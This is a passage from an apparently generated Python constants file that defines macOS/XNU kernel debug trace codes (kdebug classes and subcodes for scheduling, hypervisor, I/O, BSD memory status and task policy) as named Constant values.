Constant('SFI_OFF_TIMER',0x5) SFI_ON_TIMER = Constant('SFI_ON_TIMER',0x6) SFI_WAIT_CANCELED = Constant('SFI_WAIT_CANCELED',0x7) SFI_PID_SET_MANAGED = Constant('SFI_PID_SET_MANAGED',0x8) SFI_PID_CLEAR_MANAGED = Constant('SFI_PID_CLEAR_MANAGED',0x9) SFI_GLOBAL_DEFER = Constant('SFI_GLOBAL_DEFER',0xa) ZALLOC_ZCRAM = Constant('ZALLOC_ZCRAM',0x0) RMON_ENABLE_CPUUSAGE_MONITOR = Constant('RMON_ENABLE_CPUUSAGE_MONITOR',0x001) RMON_CPUUSAGE_VIOLATED = Constant('RMON_CPUUSAGE_VIOLATED',0x002) RMON_CPUUSAGE_SUSPENDED = Constant('RMON_CPUUSAGE_SUSPENDED',0x003) RMON_CPUUSAGE_VIOLATED_K32A = Constant('RMON_CPUUSAGE_VIOLATED_K32A',0x004) RMON_CPUUSAGE_VIOLATED_K32B = Constant('RMON_CPUUSAGE_VIOLATED_K32B',0x005) RMON_CPUUSAGE_RESUMED = Constant('RMON_CPUUSAGE_RESUMED',0x006) RMON_DISABLE_CPUUSAGE_MONITOR = Constant('RMON_DISABLE_CPUUSAGE_MONITOR',0x00f) RMON_ENABLE_CPUWAKES_MONITOR = Constant('RMON_ENABLE_CPUWAKES_MONITOR',0x011) RMON_CPUWAKES_VIOLATED = Constant('RMON_CPUWAKES_VIOLATED',0x012) RMON_CPUWAKES_VIOLATED_K32A = Constant('RMON_CPUWAKES_VIOLATED_K32A',0x014) RMON_CPUWAKES_VIOLATED_K32B = Constant('RMON_CPUWAKES_VIOLATED_K32B',0x015) RMON_DISABLE_CPUWAKES_MONITOR = Constant('RMON_DISABLE_CPUWAKES_MONITOR',0x01f) RMON_ENABLE_IO_MONITOR = Constant('RMON_ENABLE_IO_MONITOR',0x021) RMON_LOGWRITES_VIOLATED = Constant('RMON_LOGWRITES_VIOLATED',0x022) RMON_PHYSWRITES_VIOLATED = Constant('RMON_PHYSWRITES_VIOLATED',0x023) RMON_LOGWRITES_VIOLATED_K32A = Constant('RMON_LOGWRITES_VIOLATED_K32A',0x024) RMON_LOGWRITES_VIOLATED_K32B = Constant('RMON_LOGWRITES_VIOLATED_K32B',0x025) RMON_DISABLE_IO_MONITOR = Constant('RMON_DISABLE_IO_MONITOR',0x02f) HV_X86_ENTER = Constant('HV_X86_ENTER',0x00) HV_X86_ENTER_ERROR = Constant('HV_X86_ENTER_ERROR',0x01) HV_X86_TRAP_TASK = Constant('HV_X86_TRAP_TASK',0x02) HV_X86_TRAP_THREAD = Constant('HV_X86_TRAP_THREAD',0x03) HV_X86_INTERRUPT_INJECT = Constant('HV_X86_INTERRUPT_INJECT',0x04) HV_X86_INTERRUPT_RECV = Constant('HV_X86_INTERRUPT_RECV',0x05) HV_X86_INTERRUPT_SEND = Constant('HV_X86_INTERRUPT_SEND',0x06) HV_X86_IPI_SEND = Constant('HV_X86_IPI_SEND',0x07) HV_X86_NMI_INJECT = Constant('HV_X86_NMI_INJECT',0x08) HV_X86_NMI_SEND = Constant('HV_X86_NMI_SEND',0x09) HV_X86_LSC_HIT = Constant('HV_X86_LSC_HIT',0x0a) HV_X86_LSC_INSERT = Constant('HV_X86_LSC_INSERT',0x0b) HV_X86_LSC_INSERT_IMM32 = Constant('HV_X86_LSC_INSERT_IMM32',0x0c) HV_X86_LSC_INVALID = Constant('HV_X86_LSC_INVALID',0x0d) HV_X86_LSC_INVALIDATE = Constant('HV_X86_LSC_INVALIDATE',0x0e) HV_X86_LSC_MISS = Constant('HV_X86_LSC_MISS',0x0f) HV_X86_TIMER_CANCEL = Constant('HV_X86_TIMER_CANCEL',0x10) HV_X86_TIMER_FIRE = Constant('HV_X86_TIMER_FIRE',0x11) HV_X86_TIMER_SCHEDULE = Constant('HV_X86_TIMER_SCHEDULE',0x12) HV_X86_APIC_ACCESS_EXIT = Constant('HV_X86_APIC_ACCESS_EXIT',0x13) HV_X86_APIC_WRITE_EXIT = Constant('HV_X86_APIC_WRITE_EXIT',0x14) HV_X86_EPT_VIOLATION_EXIT = Constant('HV_X86_EPT_VIOLATION_EXIT',0x15) HV_X86_EXC_NMI_EXIT = Constant('HV_X86_EXC_NMI_EXIT',0x16) HV_X86_HLT_EXIT = Constant('HV_X86_HLT_EXIT',0x17) HV_X86_IO_EXIT = Constant('HV_X86_IO_EXIT',0x18) HV_X86_IRQ_EXIT = Constant('HV_X86_IRQ_EXIT',0x19) HV_X86_IRQ_WND_EXIT = Constant('HV_X86_IRQ_WND_EXIT',0x1a) HV_X86_MOV_DR_EXIT = Constant('HV_X86_MOV_DR_EXIT',0x1b) HV_X86_NMI_WND_EXIT = Constant('HV_X86_NMI_WND_EXIT',0x1c) HV_X86_RDMSR_EXIT = Constant('HV_X86_RDMSR_EXIT',0x1d) HV_X86_RDPMC_EXIT = Constant('HV_X86_RDPMC_EXIT',0x1e) HV_X86_TPR_THRESHOLD_EXIT = Constant('HV_X86_TPR_THRESHOLD_EXIT',0x1f) HV_X86_VMX_TIMER_EXPIRED_EXIT = Constant('HV_X86_VMX_TIMER_EXPIRED_EXIT',0x20) HV_X86_WRMSR_EXIT = Constant('HV_X86_WRMSR_EXIT',0x21) HV_X86_VCPU_READ_APIC_TRAP = Constant('HV_X86_VCPU_READ_APIC_TRAP',0x22) HV_X86_VCPU_READ_VMCS_TRAP = Constant('HV_X86_VCPU_READ_VMCS_TRAP',0x23) HV_X86_VCPU_RUN_TRAP = Constant('HV_X86_VCPU_RUN_TRAP',0x24) HV_X86_VCPU_RUN_UNTIL_TRAP = Constant('HV_X86_VCPU_RUN_UNTIL_TRAP',0x25) HV_X86_VCPU_WRITE_APIC_TRAP = Constant('HV_X86_VCPU_WRITE_APIC_TRAP',0x26) HV_X86_VM_ADDRSPACE_CREATE_TRAP = Constant('HV_X86_VM_ADDRSPACE_CREATE_TRAP',0x27) HV_X86_VM_ADDRSPACE_DESTROY_TRAP = Constant('HV_X86_VM_ADDRSPACE_DESTROY_TRAP',0x28) HV_X86_VM_INTR_MSI_TRAP = Constant('HV_X86_VM_INTR_MSI_TRAP',0x29) HV_X86_VM_MAP_TRAP = Constant('HV_X86_VM_MAP_TRAP',0x2a) HV_X86_VM_PROTECT_TRAP = Constant('HV_X86_VM_PROTECT_TRAP',0x2b) HV_X86_VM_UNMAP_TRAP = Constant('HV_X86_VM_UNMAP_TRAP',0x2c) HV_X86_TSC_OFFSET_SET = Constant('HV_X86_TSC_OFFSET_SET',0x2d) VM_RECLAIM_UPDATE_ACCOUNTING = Constant('VM_RECLAIM_UPDATE_ACCOUNTING',0x01) VM_RECLAIM_ENTRIES = Constant('VM_RECLAIM_ENTRIES',0x02) VM_RECLAIM_CHUNK = Constant('VM_RECLAIM_CHUNK',0x03) VM_RECLAIM_ENTRY = Constant('VM_RECLAIM_ENTRY',0x04) VM_RECLAIM_ALL_MEMORY = Constant('VM_RECLAIM_ALL_MEMORY',0x05) VM_RECLAIM_ASYNC_MEMORY = Constant('VM_RECLAIM_ASYNC_MEMORY',0x06) VM_RECLAIM_INIT = Constant('VM_RECLAIM_INIT',0x07) DBG_NETIP = Constant('DBG_NETIP',1) DBG_NETARP = Constant('DBG_NETARP',2) DBG_NETUDP = Constant('DBG_NETUDP',3) DBG_NETTCP = Constant('DBG_NETTCP',4) DBG_NETICMP = Constant('DBG_NETICMP',5) DBG_NETIGMP = Constant('DBG_NETIGMP',6) DBG_NETRIP = Constant('DBG_NETRIP',7) DBG_NETOSPF = Constant('DBG_NETOSPF',8) DBG_NETISIS = Constant('DBG_NETISIS',9) DBG_NETSNMP = Constant('DBG_NETSNMP',10) DBG_NETSOCK = Constant('DBG_NETSOCK',11) DBG_NETAARP = Constant('DBG_NETAARP',100) DBG_NETDDP = Constant('DBG_NETDDP',101) DBG_NETNBP = Constant('DBG_NETNBP',102) DBG_NETZIP = Constant('DBG_NETZIP',103) DBG_NETADSP = Constant('DBG_NETADSP',104) DBG_NETATP = Constant('DBG_NETATP',105) DBG_NETASP = Constant('DBG_NETASP',106) DBG_NETAFP = Constant('DBG_NETAFP',107) DBG_NETRTMP = Constant('DBG_NETRTMP',108) DBG_NETAURP = Constant('DBG_NETAURP',109) DBG_NETIPSEC = Constant('DBG_NETIPSEC',128) DBG_NETVMNET = Constant('DBG_NETVMNET',129) DBG_IOINTC = Constant('DBG_IOINTC',0) DBG_IOWORKLOOP = Constant('DBG_IOWORKLOOP',1) DBG_IOINTES = Constant('DBG_IOINTES',2) DBG_IOCLKES = Constant('DBG_IOCLKES',3) DBG_IOCMDQ = Constant('DBG_IOCMDQ',4) DBG_IOMCURS = Constant('DBG_IOMCURS',5) DBG_IOMDESC = Constant('DBG_IOMDESC',6) DBG_IOPOWER = Constant('DBG_IOPOWER',7) DBG_IOSERVICE = Constant('DBG_IOSERVICE',8) DBG_IOREGISTRY = Constant('DBG_IOREGISTRY',9) DBG_IOPORT = Constant('DBG_IOPORT',10) DBG_IOSTORAGE = Constant('DBG_IOSTORAGE',32) DBG_IONETWORK = Constant('DBG_IONETWORK',33) DBG_IOKEYBOARD = Constant('DBG_IOKEYBOARD',34) DBG_IOHID = Constant('DBG_IOHID',35) DBG_IOAUDIO = Constant('DBG_IOAUDIO',36) DBG_IOSERIAL = Constant('DBG_IOSERIAL',37) DBG_IOTTY = Constant('DBG_IOTTY',38) DBG_IOSAM = Constant('DBG_IOSAM',39) DBG_IOPARALLELATA = Constant('DBG_IOPARALLELATA',40) DBG_IOPARALLELSCSI = Constant('DBG_IOPARALLELSCSI',41) DBG_IOSATA = Constant('DBG_IOSATA',42) DBG_IOSAS = Constant('DBG_IOSAS',43) DBG_IOFIBRECHANNEL = Constant('DBG_IOFIBRECHANNEL',44) DBG_IOUSB = Constant('DBG_IOUSB',45) DBG_IOBLUETOOTH = Constant('DBG_IOBLUETOOTH',46) DBG_IOFIREWIRE = Constant('DBG_IOFIREWIRE',47) DBG_IOINFINIBAND = Constant('DBG_IOINFINIBAND',48) DBG_IOCPUPM = Constant('DBG_IOCPUPM',49) DBG_IOGRAPHICS = Constant('DBG_IOGRAPHICS',50) DBG_HIBERNATE = Constant('DBG_HIBERNATE',51) DBG_IOTHUNDERBOLT = Constant('DBG_IOTHUNDERBOLT',52) DBG_BOOTER = Constant('DBG_BOOTER',53) DBG_IOAUDIO2 = Constant('DBG_IOAUDIO2',54) DBG_IOAFK = Constant('DBG_IOAFK',55) DBG_IOSURFACEPA = Constant('DBG_IOSURFACEPA',64) DBG_IOMDPA = Constant('DBG_IOMDPA',65) DBG_IODARTPA = Constant('DBG_IODARTPA',66) DBG_DRVSTORAGE = Constant('DBG_DRVSTORAGE',1) DBG_DRVNETWORK = Constant('DBG_DRVNETWORK',2) DBG_DRVKEYBOARD = Constant('DBG_DRVKEYBOARD',3) DBG_DRVHID = Constant('DBG_DRVHID',4) DBG_DRVAUDIO = Constant('DBG_DRVAUDIO',5) DBG_DRVSERIAL = Constant('DBG_DRVSERIAL',7) DBG_DRVSAM = Constant('DBG_DRVSAM',8) DBG_DRVPARALLELATA = Constant('DBG_DRVPARALLELATA',9) DBG_DRVPARALLELSCSI = Constant('DBG_DRVPARALLELSCSI',10) DBG_DRVSATA = Constant('DBG_DRVSATA',11) DBG_DRVSAS = Constant('DBG_DRVSAS',12) DBG_DRVFIBRECHANNEL = Constant('DBG_DRVFIBRECHANNEL',13) DBG_DRVUSB = Constant('DBG_DRVUSB',14) DBG_DRVBLUETOOTH = Constant('DBG_DRVBLUETOOTH',15) DBG_DRVFIREWIRE = Constant('DBG_DRVFIREWIRE',16) DBG_DRVINFINIBAND = Constant('DBG_DRVINFINIBAND',17) DBG_DRVGRAPHICS = Constant('DBG_DRVGRAPHICS',18) DBG_DRVSD = Constant('DBG_DRVSD',19) DBG_DRVNAND = Constant('DBG_DRVNAND',20) DBG_SSD = Constant('DBG_SSD',21) DBG_DRVSPI = Constant('DBG_DRVSPI',22) DBG_DRVWLAN_802_11 = Constant('DBG_DRVWLAN_802_11',23) DBG_DRVSSM = Constant('DBG_DRVSSM',24) DBG_DRVSMC = Constant('DBG_DRVSMC',25) DBG_DRVMACEFIMANAGER = Constant('DBG_DRVMACEFIMANAGER',26) DBG_DRVANE = Constant('DBG_DRVANE',27) DBG_DRVETHERNET = Constant('DBG_DRVETHERNET',28) DBG_DRVMCC = Constant('DBG_DRVMCC',29) DBG_DRVACCESSORY = Constant('DBG_DRVACCESSORY',30) DBG_SOCDIAGS = Constant('DBG_SOCDIAGS',31) DBG_DRVVIRTIO = Constant('DBG_DRVVIRTIO',32) DBG_DRVCELLULAR = Constant('DBG_DRVCELLULAR',33) DBG_DRVSPMI = Constant('DBG_DRVSPMI',34) DBG_DLIL_STATIC = Constant('DBG_DLIL_STATIC',1) DBG_DLIL_PR_MOD = Constant('DBG_DLIL_PR_MOD',2) DBG_DLIL_IF_MOD = Constant('DBG_DLIL_IF_MOD',3) DBG_DLIL_PR_FLT = Constant('DBG_DLIL_PR_FLT',4) DBG_DLIL_IF_FLT = Constant('DBG_DLIL_IF_FLT',5) DBG_FSRW = Constant('DBG_FSRW',0x1) DBG_DKRW = Constant('DBG_DKRW',0x2) DBG_FSVN = Constant('DBG_FSVN',0x3) DBG_FSLOOOKUP = Constant('DBG_FSLOOOKUP',0x4) DBG_JOURNAL = Constant('DBG_JOURNAL',0x5) DBG_IOCTL = Constant('DBG_IOCTL',0x6) DBG_BOOTCACHE = Constant('DBG_BOOTCACHE',0x7) DBG_HFS = Constant('DBG_HFS',0x8) DBG_APFS = Constant('DBG_APFS',0x9) DBG_SMB = Constant('DBG_SMB',0xA) DBG_MOUNT = Constant('DBG_MOUNT',0xB) DBG_EXFAT = Constant('DBG_EXFAT',0xE) DBG_MSDOS = Constant('DBG_MSDOS',0xF) DBG_ACFS = Constant('DBG_ACFS',0x10) DBG_THROTTLE = Constant('DBG_THROTTLE',0x11) DBG_DECMP = Constant('DBG_DECMP',0x12) DBG_VFS = Constant('DBG_VFS',0x13) DBG_LIVEFS = Constant('DBG_LIVEFS',0x14) DBG_NFS = Constant('DBG_NFS',0x15) DBG_CONTENT_PROT = Constant('DBG_CONTENT_PROT',0xCF) DBG_HFS_UPDATE_ACCTIME = Constant('DBG_HFS_UPDATE_ACCTIME',0x01) DBG_HFS_UPDATE_MODTIME = Constant('DBG_HFS_UPDATE_MODTIME',0x02) DBG_HFS_UPDATE_CHGTIME = Constant('DBG_HFS_UPDATE_CHGTIME',0x04) DBG_HFS_UPDATE_MODIFIED = Constant('DBG_HFS_UPDATE_MODIFIED',0x08) DBG_HFS_UPDATE_FORCE = Constant('DBG_HFS_UPDATE_FORCE',0x10) DBG_HFS_UPDATE_DATEADDED = Constant('DBG_HFS_UPDATE_DATEADDED',0x20) DBG_HFS_UPDATE_MINOR = Constant('DBG_HFS_UPDATE_MINOR',0x40) DBG_HFS_UPDATE_SKIPPED = Constant('DBG_HFS_UPDATE_SKIPPED',0x80) DBG_VFS_IO_COMPRESSION_STATS = Constant('DBG_VFS_IO_COMPRESSION_STATS',0x1000) DBG_BSD_PROC = Constant('DBG_BSD_PROC',0x01) DBG_BSD_MEMSTAT = Constant('DBG_BSD_MEMSTAT',0x02) DBG_BSD_KEVENT = Constant('DBG_BSD_KEVENT',0x03) DBG_BSD_EXCP_SC = Constant('DBG_BSD_EXCP_SC',0x0C) DBG_BSD_AIO = Constant('DBG_BSD_AIO',0x0D) DBG_BSD_SC_EXTENDED_INFO = Constant('DBG_BSD_SC_EXTENDED_INFO',0x0E) DBG_BSD_SC_EXTENDED_INFO2 = Constant('DBG_BSD_SC_EXTENDED_INFO2',0x0F) DBG_BSD_KDEBUG_TEST = Constant('DBG_BSD_KDEBUG_TEST',0xFF) BSD_PROC_EXIT = Constant('BSD_PROC_EXIT',1) BSD_PROC_FRCEXIT = Constant('BSD_PROC_FRCEXIT',2) BSD_PROC_EXEC = Constant('BSD_PROC_EXEC',3) BSD_PROC_EXITREASON_CREATE = Constant('BSD_PROC_EXITREASON_CREATE',4) BSD_PROC_EXITREASON_COMMIT = Constant('BSD_PROC_EXITREASON_COMMIT',5) BSD_MEMSTAT_SCAN = Constant('BSD_MEMSTAT_SCAN',1) BSD_MEMSTAT_JETSAM = Constant('BSD_MEMSTAT_JETSAM',2) BSD_MEMSTAT_JETSAM_HIWAT = Constant('BSD_MEMSTAT_JETSAM_HIWAT',3) BSD_MEMSTAT_FREEZE = Constant('BSD_MEMSTAT_FREEZE',4) BSD_MEMSTAT_FREEZE_SCAN = Constant('BSD_MEMSTAT_FREEZE_SCAN',5) BSD_MEMSTAT_UPDATE = Constant('BSD_MEMSTAT_UPDATE',6) BSD_MEMSTAT_IDLE_DEMOTE = Constant('BSD_MEMSTAT_IDLE_DEMOTE',7) BSD_MEMSTAT_CLEAR_ERRORS = Constant('BSD_MEMSTAT_CLEAR_ERRORS',8) BSD_MEMSTAT_DIRTY_TRACK = Constant('BSD_MEMSTAT_DIRTY_TRACK',9) BSD_MEMSTAT_DIRTY_SET = Constant('BSD_MEMSTAT_DIRTY_SET',10) BSD_MEMSTAT_DIRTY_CLEAR = Constant('BSD_MEMSTAT_DIRTY_CLEAR',11) BSD_MEMSTAT_FAST_JETSAM = Constant('BSD_MEMSTAT_FAST_JETSAM',15) BSD_MEMSTAT_COMPACTOR_RUN = Constant('BSD_MEMSTAT_COMPACTOR_RUN',16) BSD_MEMSTAT_FREEZE_DISABLE = Constant('BSD_MEMSTAT_FREEZE_DISABLE',17) BSD_MEMSTAT_RELAUNCH_FLAGS = Constant('BSD_MEMSTAT_RELAUNCH_FLAGS',18) BSD_KEVENT_KQ_PROCESS_BEGIN = Constant('BSD_KEVENT_KQ_PROCESS_BEGIN',1) BSD_KEVENT_KQ_PROCESS_END = Constant('BSD_KEVENT_KQ_PROCESS_END',2) BSD_KEVENT_KQWQ_PROCESS_BEGIN = Constant('BSD_KEVENT_KQWQ_PROCESS_BEGIN',3) BSD_KEVENT_KQWQ_PROCESS_END = Constant('BSD_KEVENT_KQWQ_PROCESS_END',4) BSD_KEVENT_KQWQ_BIND = Constant('BSD_KEVENT_KQWQ_BIND',5) BSD_KEVENT_KQWQ_UNBIND = Constant('BSD_KEVENT_KQWQ_UNBIND',6) BSD_KEVENT_KQWQ_THREQUEST = Constant('BSD_KEVENT_KQWQ_THREQUEST',7) BSD_KEVENT_KQWL_PROCESS_BEGIN = Constant('BSD_KEVENT_KQWL_PROCESS_BEGIN',8) BSD_KEVENT_KQWL_PROCESS_END = Constant('BSD_KEVENT_KQWL_PROCESS_END',9) BSD_KEVENT_KQWL_THREQUEST = Constant('BSD_KEVENT_KQWL_THREQUEST',10) BSD_KEVENT_KQWL_THADJUST = Constant('BSD_KEVENT_KQWL_THADJUST',11) BSD_KEVENT_KQ_REGISTER = Constant('BSD_KEVENT_KQ_REGISTER',12) BSD_KEVENT_KQWQ_REGISTER = Constant('BSD_KEVENT_KQWQ_REGISTER',13) BSD_KEVENT_KQWL_REGISTER = Constant('BSD_KEVENT_KQWL_REGISTER',14) BSD_KEVENT_KNOTE_ACTIVATE = Constant('BSD_KEVENT_KNOTE_ACTIVATE',15) BSD_KEVENT_KQ_PROCESS = Constant('BSD_KEVENT_KQ_PROCESS',16) BSD_KEVENT_KQWQ_PROCESS = Constant('BSD_KEVENT_KQWQ_PROCESS',17) BSD_KEVENT_KQWL_PROCESS = Constant('BSD_KEVENT_KQWL_PROCESS',18) BSD_KEVENT_KQWL_BIND = Constant('BSD_KEVENT_KQWL_BIND',19) BSD_KEVENT_KQWL_UNBIND = Constant('BSD_KEVENT_KQWL_UNBIND',20) BSD_KEVENT_KNOTE_ENABLE = Constant('BSD_KEVENT_KNOTE_ENABLE',21) BSD_KEVENT_KNOTE_VANISHED = Constant('BSD_KEVENT_KNOTE_VANISHED',22) DBG_TRACE_DATA = Constant('DBG_TRACE_DATA',0) DBG_TRACE_STRING = Constant('DBG_TRACE_STRING',1) DBG_TRACE_INFO = Constant('DBG_TRACE_INFO',2) DBG_CS_IO = Constant('DBG_CS_IO',0) DBG_SEC_KERNEL = Constant('DBG_SEC_KERNEL',0) DBG_SEC_SANDBOX = Constant('DBG_SEC_SANDBOX',1) DBG_MT_INSTRS_CYCLES = Constant('DBG_MT_INSTRS_CYCLES',1) DBG_MT_DEBUG = Constant('DBG_MT_DEBUG',2) DBG_MT_RESOURCES_PROC_EXIT = Constant('DBG_MT_RESOURCES_PROC_EXIT',3) DBG_MT_RESOURCES_THR_EXIT = Constant('DBG_MT_RESOURCES_THR_EXIT',4) DBG_MT_INSTRS_CYCLES_ON_CPU = Constant('DBG_MT_INSTRS_CYCLES_ON_CPU',5) DBG_MT_TMPTH = Constant('DBG_MT_TMPTH',0xfe) DBG_MT_TMPCPU = Constant('DBG_MT_TMPCPU',0xff) DBG_MISC_COREBRIGHTNESS = Constant('DBG_MISC_COREBRIGHTNESS',0x01) DBG_MISC_VIDEOENG = Constant('DBG_MISC_VIDEOENG',0x02) DBG_EVENT = Constant('DBG_EVENT',0x10) DBG_MISC_INSTRUMENTS = Constant('DBG_MISC_INSTRUMENTS',0x11) DBG_MISC_INSTRUMENTSBT = Constant('DBG_MISC_INSTRUMENTSBT',0x12) DBG_MISC_RUNLOOP_DETAILS = Constant('DBG_MISC_RUNLOOP_DETAILS',0x13) DBG_MISC_RUNLOOP_BUSY = Constant('DBG_MISC_RUNLOOP_BUSY',0x14) DBG_MISC_LAYOUT = Constant('DBG_MISC_LAYOUT',0x1a) DBG_BUFFER = Constant('DBG_BUFFER',0x20) DKIO_DONE = Constant('DKIO_DONE',0x01) DKIO_READ = Constant('DKIO_READ',0x02) DKIO_ASYNC = Constant('DKIO_ASYNC',0x04) DKIO_META = Constant('DKIO_META',0x08) DKIO_PAGING = Constant('DKIO_PAGING',0x10) DKIO_THROTTLE = Constant('DKIO_THROTTLE',0x20) DKIO_PASSIVE = Constant('DKIO_PASSIVE',0x40) DKIO_NOCACHE = Constant('DKIO_NOCACHE',0x80) DKIO_TIER_MASK = Constant('DKIO_TIER_MASK',0xF00) DKIO_TIER_SHIFT = Constant('DKIO_TIER_SHIFT',8) DKIO_TIER_UPGRADE = Constant('DKIO_TIER_UPGRADE',0x1000) DBG_APP_LOGINWINDOW = Constant('DBG_APP_LOGINWINDOW',0x03) DBG_APP_AUDIO = Constant('DBG_APP_AUDIO',0x04) DBG_APP_SYSTEMUI = Constant('DBG_APP_SYSTEMUI',0x05) DBG_APP_SIGNPOST = Constant('DBG_APP_SIGNPOST',0x0A) DBG_APP_TAL = Constant('DBG_APP_TAL',0x0B) DBG_APP_APPKIT = Constant('DBG_APP_APPKIT',0x0C) DBG_APP_UIKIT = Constant('DBG_APP_UIKIT',0x0D) DBG_APP_DFR = Constant('DBG_APP_DFR',0x0E) DBG_APP_LAYOUT = Constant('DBG_APP_LAYOUT',0x0F) DBG_APP_COREDATA = Constant('DBG_APP_COREDATA',0x10) DBG_APP_RUNLOOP_BASIC = Constant('DBG_APP_RUNLOOP_BASIC',0x11) DBG_APP_RUNLOOP_ADVANCED = Constant('DBG_APP_RUNLOOP_ADVANCED',0x12) DBG_APP_SAMBA = Constant('DBG_APP_SAMBA',0x80) DBG_APP_EOSSUPPORT = Constant('DBG_APP_EOSSUPPORT',0x81) DBG_APP_MACEFIMANAGER = Constant('DBG_APP_MACEFIMANAGER',0x82) DBG_APP_ENTERPRISE = Constant('DBG_APP_ENTERPRISE',0x83) OPEN_THROTTLE_WINDOW = Constant('OPEN_THROTTLE_WINDOW',0x1) PROCESS_THROTTLED = Constant('PROCESS_THROTTLED',0x2) IO_THROTTLE_DISABLE = Constant('IO_THROTTLE_DISABLE',0x3) IO_TIER_UPL_MISMATCH = Constant('IO_TIER_UPL_MISMATCH',0x4) IMP_ASSERTION = Constant('IMP_ASSERTION',0x10) IMP_BOOST = Constant('IMP_BOOST',0x11) IMP_MSG = Constant('IMP_MSG',0x12) IMP_WATCHPORT = Constant('IMP_WATCHPORT',0x13) IMP_TASK_SUPPRESSION = Constant('IMP_TASK_SUPPRESSION',0x17) IMP_TASK_APPTYPE = Constant('IMP_TASK_APPTYPE',0x18) IMP_UPDATE = Constant('IMP_UPDATE',0x19) IMP_USYNCH_QOS_OVERRIDE = Constant('IMP_USYNCH_QOS_OVERRIDE',0x1A) IMP_DONOR_CHANGE = Constant('IMP_DONOR_CHANGE',0x1B) IMP_MAIN_THREAD_QOS = Constant('IMP_MAIN_THREAD_QOS',0x1C) IMP_SYNC_IPC_QOS = Constant('IMP_SYNC_IPC_QOS',0x1D) IMP_TASK_POLICY_DARWIN_BG = Constant('IMP_TASK_POLICY_DARWIN_BG',0x21) IMP_TASK_POLICY_IOPOL = Constant('IMP_TASK_POLICY_IOPOL',0x22) IMP_TASK_POLICY_IO = Constant('IMP_TASK_POLICY_IO',0x23) IMP_TASK_POLICY_PASSIVE_IO = Constant('IMP_TASK_POLICY_PASSIVE_IO',0x24) IMP_TASK_POLICY_DARWIN_BG_IOPOL = Constant('IMP_TASK_POLICY_DARWIN_BG_IOPOL',0x27) IMP_TASK_POLICY_BOOST = Constant('IMP_TASK_POLICY_BOOST',0x29) IMP_TASK_POLICY_ROLE = Constant('IMP_TASK_POLICY_ROLE',0x2A) IMP_TASK_POLICY_TERMINATED = Constant('IMP_TASK_POLICY_TERMINATED',0x2C) IMP_TASK_POLICY_NEW_SOCKETS_BG = Constant('IMP_TASK_POLICY_NEW_SOCKETS_BG',0x2D) IMP_TASK_POLICY_SUP_ACTIVE = Constant('IMP_TASK_POLICY_SUP_ACTIVE',0x2E) IMP_TASK_POLICY_LATENCY_QOS = Constant('IMP_TASK_POLICY_LATENCY_QOS',0x2F) IMP_TASK_POLICY_THROUGH_QOS = Constant('IMP_TASK_POLICY_THROUGH_QOS',0x30) IMP_TASK_POLICY_WATCHERS_BG = Constant('IMP_TASK_POLICY_WATCHERS_BG',0x31) IMP_TASK_POLICY_SFI_MANAGED = Constant('IMP_TASK_POLICY_SFI_MANAGED',0x34) IMP_TASK_POLICY_ALL_SOCKETS_BG = Constant('IMP_TASK_POLICY_ALL_SOCKETS_BG',0x37) IMP_TASK_POLICY_BASE_LATENCY_AND_THROUGHPUT_QOS = Constant('IMP_TASK_POLICY_BASE_LATENCY_AND_THROUGHPUT_QOS',0x39) IMP_TASK_POLICY_OVERRIDE_LATENCY_AND_THROUGHPUT_QOS = Constant('IMP_TASK_POLICY_OVERRIDE_LATENCY_AND_THROUGHPUT_QOS',0x3A) IMP_TASK_POLICY_PIDBIND_BG = Constant('IMP_TASK_POLICY_PIDBIND_BG',0x32) IMP_TASK_POLICY_QOS_OVERRIDE = Constant('IMP_TASK_POLICY_QOS_OVERRIDE',0x36) IMP_TASK_POLICY_QOS_AND_RELPRIO = Constant('IMP_TASK_POLICY_QOS_AND_RELPRIO',0x38) IMP_TASK_POLICY_QOS_WORKQ_OVERRIDE = Constant('IMP_TASK_POLICY_QOS_WORKQ_OVERRIDE',0x3B) IMP_TASK_POLICY_QOS_PROMOTE = Constant('IMP_TASK_POLICY_QOS_PROMOTE',0x3C) IMP_TASK_POLICY_QOS_KEVENT_OVERRIDE = Constant('IMP_TASK_POLICY_QOS_KEVENT_OVERRIDE',0x3D) IMP_TASK_POLICY_QOS_SERVICER_OVERRIDE = Constant('IMP_TASK_POLICY_QOS_SERVICER_OVERRIDE',0x3E) IMP_TASK_POLICY_IOTIER_KEVENT_OVERRIDE = Constant('IMP_TASK_POLICY_IOTIER_KEVENT_OVERRIDE',0x3F) IMP_TASK_POLICY_WI_DRIVEN = Constant('IMP_TASK_POLICY_WI_DRIVEN',0x40) IMP_HOLD = Constant('IMP_HOLD',0x2) IMP_DROP = Constant('IMP_DROP',0x4) IMP_EXTERN = Constant('IMP_EXTERN',0x8) IMP_BOOSTED = Constant('IMP_BOOSTED',0x1) IMP_UNBOOSTED = Constant('IMP_UNBOOSTED',0x2) IMP_MSG_SEND = Constant('IMP_MSG_SEND',0x1) IMP_MSG_DELV = Constant('IMP_MSG_DELV',0x2) IMP_UPDATE_TASK_CREATE = Constant('IMP_UPDATE_TASK_CREATE',0x1) IMP_USYNCH_ADD_OVERRIDE = Constant('IMP_USYNCH_ADD_OVERRIDE',0x0) IMP_USYNCH_REMOVE_OVERRIDE = Constant('IMP_USYNCH_REMOVE_OVERRIDE',0x1) IMP_DONOR_UPDATE_LIVE_DONOR_STATE = Constant('IMP_DONOR_UPDATE_LIVE_DONOR_STATE',0x0) IMP_DONOR_INIT_DONOR_STATE = Constant('IMP_DONOR_INIT_DONOR_STATE',0x1) IMP_SYNC_IPC_QOS_APPLIED = Constant('IMP_SYNC_IPC_QOS_APPLIED',0x0) IMP_SYNC_IPC_QOS_REMOVED = Constant('IMP_SYNC_IPC_QOS_REMOVED',0x1) IMP_SYNC_IPC_QOS_OVERFLOW = Constant('IMP_SYNC_IPC_QOS_OVERFLOW',0x2) IMP_SYNC_IPC_QOS_UNDERFLOW = Constant('IMP_SYNC_IPC_QOS_UNDERFLOW',0x3) TURNSTILE_HEAP_OPERATIONS = Constant('TURNSTILE_HEAP_OPERATIONS',0x10) TURNSTILE_PRIORITY_OPERATIONS = Constant('TURNSTILE_PRIORITY_OPERATIONS',0x20) TURNSTILE_FREELIST_OPERATIONS = Constant('TURNSTILE_FREELIST_OPERATIONS',0x30) THREAD_ADDED_TO_TURNSTILE_WAITQ = Constant('THREAD_ADDED_TO_TURNSTILE_WAITQ',0x1) THREAD_REMOVED_FROM_TURNSTILE_WAITQ = Constant('THREAD_REMOVED_FROM_TURNSTILE_WAITQ',0x2) THREAD_MOVED_IN_TURNSTILE_WAITQ = 